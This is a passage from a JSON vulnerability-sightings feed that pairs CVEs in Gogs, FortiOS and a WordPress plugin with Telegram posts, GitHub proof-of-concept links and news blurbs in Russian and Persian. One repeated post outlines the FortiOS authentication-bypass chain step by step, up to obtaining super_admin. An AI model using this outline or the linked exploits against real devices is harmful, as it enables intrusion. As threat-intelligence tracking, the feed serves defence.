\u0430\u0437\u0438\u0430\u0442\u0441\u043a\u0438\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a.\n\n#gogs #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #zeroday #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \n\n@ZerodayAlert", "creation_timestamp": "2026-07-25T15:00:10.971472Z"}, {"uuid": "533f6f7f-a479-45b5-91b4-bb7bb67f8436", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55947", "type": "exploited", "source": "https://t.me/ZerodayAlert/596", "content": "\u0412 Gogs \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f\n\n\ud83c\udfaf CVE-2025-8110 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Gogs 0.13.3 \u0438 \u043d\u0438\u0436\u0435 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u0439 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0435\u0439. \u0423\u0436\u0435 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0431\u043e\u043b\u0435\u0435 700 \u0438\u0437 1400 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u0438\u043d\u0441\u0442\u0430\u043d\u0441\u043e\u0432.\n\n\ud83d\udd27 \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0431\u0445\u043e\u0434 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u043f\u0430\u0442\u0447\u0430 CVE-2024-55947. \u041f\u0440\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043d\u0435 \u0443\u0447\u043b\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434.\n\n\ud83d\udee1 \u041e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0442\u0447 \u043f\u043e\u043a\u0430 \u043d\u0435 \u0432\u044b\u043f\u0443\u0449\u0435\u043d, \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u0443\u044e \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044e. \u0412 \u0430\u0442\u0430\u043a\u0430\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a Supershell, \u0440\u0430\u043d\u0435\u0435 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0439 \u0432 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445 \u0430\u0437\u0438\u0430\u0442\u0441\u043a\u0438\u0445 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a.\n\n#gogs #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #zeroday #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \n\n@ZerodayAlert", "creation_timestamp": "2026-07-26T00:00:32.864412Z"}, {"uuid": "b6f252f2-e825-47a2-8cc9-fcc78850dbdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/cyberwarehouse/737", "content": "https://github.com/exfil0/CVE-2024-55591-POC", "creation_timestamp": "2026-07-26T02:00:13.572331Z"}, {"uuid": "2122440b-f4b5-4c9c-886b-e6dafd8c4699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/cyberwarehouse/681", "content": "https://github.com/watchtowrlabs/fortios-auth-bypass-check-CVE-2024-55591", "creation_timestamp": "2026-07-26T02:00:14.642430Z"}, {"uuid": "b0b74118-144b-4b5e-9072-02ca53c3ea35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "seen", "source": "https://t.me/cyberwarehouse/435", "content": "\ud83d\udeceCVE-2024-5522 (CVSS 10): Critical Security Flaw Threatens Thousands of WordPress Sites\u2757\ufe0f\n\u0627\u0632 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0648\u0631\u062f\u067e\u0631\u0633\u06cc \u06a9\u0647 \u067e\u0644\u0627\u06af\u06cc\u0646 \u0645\u062d\u0628\u0648\u0628 HTML5 Video Player \u0631\u0627 \u0646\u0635\u0628 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0645\u06cc\u200c\u0634\u0648\u062f \u067e\u0633 \u0627\u0632 \u06a9\u0634\u0641 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u062d\u06cc\u0627\u062a\u06cc\u060c \u0627\u0642\u062f\u0627\u0645 \u0641\u0648\u0631\u06cc \u0627\u0646\u062c\u0627\u0645 \u062f\u0647\u0646\u062f. \u0627\u06cc\u0646 \u0646\u0642\u0635 \u06a9\u0647 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 CVE-2024-5522 \u0631\u062f\u06cc\u0627\u0628\u06cc \u0645\u06cc \u0634\u0648\u062f\u060c \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0646\u0634\u062f\u0647 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc \u062f\u0647\u062f \u062a\u0627 \u06a9\u062f SQL \u0645\u062e\u0631\u0628 \u0631\u0627 \u0628\u0647 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647 \u0647\u0627\u06cc \u0648\u0628 \u0633\u0627\u06cc\u062a \u062a\u0632\u0631\u06cc\u0642 \u06a9\u0646\u0646\u062f \u06a9\u0647 \u0628\u0647 \u0637\u0648\u0631 \u0628\u0627\u0644\u0642\u0648\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u062d\u0633\u0627\u0633 \u0631\u0627 \u062f\u0631 \u0645\u0639\u0631\u0636 \u062f\u06cc\u062f \u0642\u0631\u0627\u0631 \u0645\u06cc \u062f\u0647\u062f \u06cc\u0627 \u06cc\u06a9\u067e\u0627\u0631\u0686\u06af\u06cc \u0633\u0627\u06cc\u062a \u0631\u0627 \u0628\u0647 \u062e\u0637\u0631 \u0645\u06cc \u0627\u0646\u062f\u0627\u0632\u062f.\n\n\u0628\u0627 \u0628\u06cc\u0634 \u0627\u0632 30000 \u0646\u0635\u0628 \u0641\u0639\u0627\u0644\u060c \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062e\u0637\u0631 \u0642\u0627\u0628\u0644 \u062a\u0648\u062c\u0647\u06cc \u0631\u0627 \u0628\u0631\u0627\u06cc \u062a\u0639\u062f\u0627\u062f \u0632\u06cc\u0627\u062f\u06cc \u0627\u0632 \u0648\u0628 \u0633\u0627\u06cc\u062a \u0647\u0627\u06cc \u0648\u0631\u062f\u067e\u0631\u0633\u06cc \u0628\u0647 \u0647\u0645\u0631\u0627\u0647 \u062f\u0627\u0631\u062f. \n\u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0627\u06a9\u06cc\u062f\u0627\u064b \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0627\u0641\u0632\u0648\u0646\u0647 \u0631\u0627 \u0641\u0648\u0631\u0627\u064b \u0628\u0647 \u0622\u062e\u0631\u06cc\u0646 \u0646\u0633\u062e\u0647 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u0646\u0646\u062f\u060c \u06a9\u0647 \u0628\u0627\u06cc\u062f \u0645\u0634\u06a9\u0644 \u0631\u0627 \u0628\u0631\u0637\u0631\u0641 \u06a9\u0646\u062f. \u0627\u06af\u0631 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0627\u0645\u06a9\u0627\u0646\u200c\u067e\u0630\u06cc\u0631 \u0646\u06cc\u0633\u062a\u060c \u0628\u0647\u200c\u0637\u0648\u0631 \u0645\u0648\u0642\u062a \u0627\u0641\u0632\u0648\u0646\u0647 \u0631\u0627 \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06cc\u0627 \u062d\u0630\u0641 \u06a9\u0646\u06cc\u062f \u062a\u0627 \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u06cc\u06a9 \u0627\u0635\u0644\u0627\u062d \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0628\u0627\u0634\u062f.\n\n\n#\u20e3https://securityonline.info/cve-2024-5522-cvss-10-critical-security-flaw-threatens-thousands-of-wordpress-sites/\n\n#CVE  #wordpress \n \u062a\u06cc\u0645  \u0633\u0648\u0631\u06cc\u0646", "creation_timestamp": "2026-07-26T02:00:22.519928Z"}, {"uuid": "f63d49a1-da45-4f61-883a-39b3561078fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/zhatez/2348", "content": "\ud83d\udcaa \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u044b Super_Admin: Fortinet FortiOS Authentication Bypass CVE-2024-55591\n\n\u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u2014 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0431\u0430\u0439\u043f\u0430\u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0451\u043d\u043d\u044b\u0445 \u0432 \u043e\u0434\u043d\u0443 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u0415\u0441\u043b\u0438 \u043a\u0440\u0430\u0442\u043a\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0432\u0430\u0436\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f:\n\n1. \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a WebSocket \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043e \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 pre-auth HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u0430.\n\n2. \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 local_access_token \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u0441\u0435\u0441\u0441\u0438\u0438.\n\n3. Race condition \u0432 WebSocket \u2192 Telnet CLI \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440.\n\n4. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430, \u043f\u0430\u0440\u043e\u043b\u044f \u0438\u043b\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u0434\u043b\u044f \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u041c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 super_admin.\n\n\u27a1\ufe0f \u041f\u043e\u0433\u0440\u0443\u0437\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435\n\n\ud83d\udc38 \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0445\u0430\u043a\u0435\u0440\u0430\n\n#\u043b\u0443\u0447\u0448\u0435\u0435_\u0438\u0437_\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438_2025", "creation_timestamp": "2026-07-26T07:01:47.168596Z"}, {"uuid": "3c48dcb6-06f5-4be7-856c-b5be4783305f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/435", "content": "\ud83d\udeceCVE-2024-5522 (CVSS 10): Critical Security Flaw Threatens Thousands of WordPress Sites\u2757\ufe0f\n\u0627\u0632 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0648\u0631\u062f\u067e\u0631\u0633\u06cc \u06a9\u0647 \u067e\u0644\u0627\u06af\u06cc\u0646 \u0645\u062d\u0628\u0648\u0628 HTML5 Video Player \u0631\u0627 \u0646\u0635\u0628 \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f\u060c \u062f\u0631\u062e\u0648\u0627\u0633\u062a \u0645\u06cc\u200c\u0634\u0648\u062f \u067e\u0633 \u0627\u0632 \u06a9\u0634\u0641 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u062d\u06cc\u0627\u062a\u06cc\u060c \u0627\u0642\u062f\u0627\u0645 \u0641\u0648\u0631\u06cc \u0627\u0646\u062c\u0627\u0645 \u062f\u0647\u0646\u062f. \u0627\u06cc\u0646 \u0646\u0642\u0635 \u06a9\u0647 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 CVE-2024-5522 \u0631\u062f\u06cc\u0627\u0628\u06cc \u0645\u06cc \u0634\u0648\u062f\u060c \u0628\u0647 \u0645\u0647\u0627\u062c\u0645\u0627\u0646 \u0627\u062d\u0631\u0627\u0632 \u0647\u0648\u06cc\u062a \u0646\u0634\u062f\u0647 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc \u062f\u0647\u062f \u062a\u0627 \u06a9\u062f SQL \u0645\u062e\u0631\u0628 \u0631\u0627 \u0628\u0647 \u067e\u0627\u06cc\u06af\u0627\u0647 \u062f\u0627\u062f\u0647 \u0647\u0627\u06cc \u0648\u0628 \u0633\u0627\u06cc\u062a \u062a\u0632\u0631\u06cc\u0642 \u06a9\u0646\u0646\u062f \u06a9\u0647 \u0628\u0647 \u0637\u0648\u0631 \u0628\u0627\u0644\u0642\u0648\u0647 \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u062d\u0633\u0627\u0633 \u0631\u0627 \u062f\u0631 \u0645\u0639\u0631\u0636 \u062f\u06cc\u062f \u0642\u0631\u0627\u0631 \u0645\u06cc \u062f\u0647\u062f \u06cc\u0627 \u06cc\u06a9\u067e\u0627\u0631\u0686\u06af\u06cc \u0633\u0627\u06cc\u062a \u0631\u0627 \u0628\u0647 \u062e\u0637\u0631 \u0645\u06cc \u0627\u0646\u062f\u0627\u0632\u062f.\n\n\u0628\u0627 \u0628\u06cc\u0634 \u0627\u0632 30000 \u0646\u0635\u0628 \u0641\u0639\u0627\u0644\u060c \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062e\u0637\u0631 \u0642\u0627\u0628\u0644 \u062a\u0648\u062c\u0647\u06cc \u0631\u0627 \u0628\u0631\u0627\u06cc \u062a\u0639\u062f\u0627\u062f \u0632\u06cc\u0627\u062f\u06cc \u0627\u0632 \u0648\u0628 \u0633\u0627\u06cc\u062a \u0647\u0627\u06cc \u0648\u0631\u062f\u067e\u0631\u0633\u06cc \u0628\u0647 \u0647\u0645\u0631\u0627\u0647 \u062f\u0627\u0631\u062f. \n\u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0627\u06a9\u06cc\u062f\u0627\u064b \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0627\u0641\u0632\u0648\u0646\u0647 \u0631\u0627 \u0641\u0648\u0631\u0627\u064b \u0628\u0647 \u0622\u062e\u0631\u06cc\u0646 \u0646\u0633\u062e\u0647 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u06a9\u0646\u0646\u062f\u060c \u06a9\u0647 \u0628\u0627\u06cc\u062f \u0645\u0634\u06a9\u0644 \u0631\u0627 \u0628\u0631\u0637\u0631\u0641 \u06a9\u0646\u062f. \u0627\u06af\u0631 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0627\u0645\u06a9\u0627\u0646\u200c\u067e\u0630\u06cc\u0631 \u0646\u06cc\u0633\u062a\u060c \u0628\u0647\u200c\u0637\u0648\u0631 \u0645\u0648\u0642\u062a \u0627\u0641\u0632\u0648\u0646\u0647 \u0631\u0627 \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06cc\u0627 \u062d\u0630\u0641 \u06a9\u0646\u06cc\u062f \u062a\u0627 \u0632\u0645\u0627\u0646\u06cc \u06a9\u0647 \u06cc\u06a9 \u0627\u0635\u0644\u0627\u062d \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0628\u0627\u0634\u062f.\n\n\n#\u20e3https://securityonline.info/cve-2024-5522-cvss-10-critical-security-flaw-threatens-thousands-of-wordpress-sites/\n\n#CVE  #wordpress \n \u062a\u06cc\u0645  \u0633\u0648\u0631\u06cc\u0646", "creation_timestamp": "2026-07-27T00:00:21.028239Z"}, {"uuid": "1bc0978f-943a-4158-b70f-528d698060a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/737", "content": "https://github.com/exfil0/CVE-2024-55591-POC", "creation_timestamp": "2026-07-27T00:00:28.937812Z"}, {"uuid": "db790270-24d1-47e9-bd6d-c232dd3ef448", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/cyberwarehouse/681", "content": "https://github.com/watchtowrlabs/fortios-auth-bypass-check-CVE-2024-55591", "creation_timestamp": "2026-07-27T00:00:27.454825Z"}, {"uuid": "0b47fba7-68ce-4430-a625-8e919a7610b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/zhatez/2348", "content": "\ud83d\udcaa \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u044b Super_Admin: Fortinet FortiOS Authentication Bypass CVE-2024-55591\n\n\u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u2014 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0431\u0430\u0439\u043f\u0430\u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0451\u043d\u043d\u044b\u0445 \u0432 \u043e\u0434\u043d\u0443 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u0415\u0441\u043b\u0438 \u043a\u0440\u0430\u0442\u043a\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0432\u0430\u0436\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f:\n\n1. \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a WebSocket \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043e \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 pre-auth HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u0430.\n\n2. \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 local_access_token \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u0441\u0435\u0441\u0441\u0438\u0438.\n\n3. Race condition \u0432 WebSocket \u2192 Telnet CLI \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u0435\u0440\u0432\u0435\u0440.\n\n4. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043b\u044e\u0447\u0430, \u043f\u0430\u0440\u043e\u043b\u044f \u0438\u043b\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u0434\u043b\u044f \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f. \u041c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 super_admin.\n\n\u27a1\ufe0f \u041f\u043e\u0433\u0440\u0443\u0437\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435\n\n\ud83d\udc38 \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0445\u0430\u043a\u0435\u0440\u0430\n\n#\u043b\u0443\u0447\u0448\u0435\u0435_\u0438\u0437_\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438_2025", "creation_timestamp": "2026-07-27T00:01:31.382652Z"}, {"uuid": "7be6e261-0b6c-442d-91ee-986f9e105319", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "published-proof-of-concept", "source": "https://t.me/zhatez/2348", "content": "\ud83d\udcaa \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u044b Super_Admin: Fortinet FortiOS Authentication Bypass CVE-2024-55591\n\n\u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u2014 \u043d\u0435 \u043f\u0440\u043e\u0441\u0442\u043e \u0431\u0430\u0439\u043f\u0430\u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0451\u043d\u043d\u044b\u0445 \u0432 \u043e\u0434\u043d\u0443 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u0415\u0441\u043b\u0438 \u043a\u0440\u0430\u0442\u043a\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0432\u0430\u0436\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u044f:\n\n1. \u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a WebSocket \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u043e 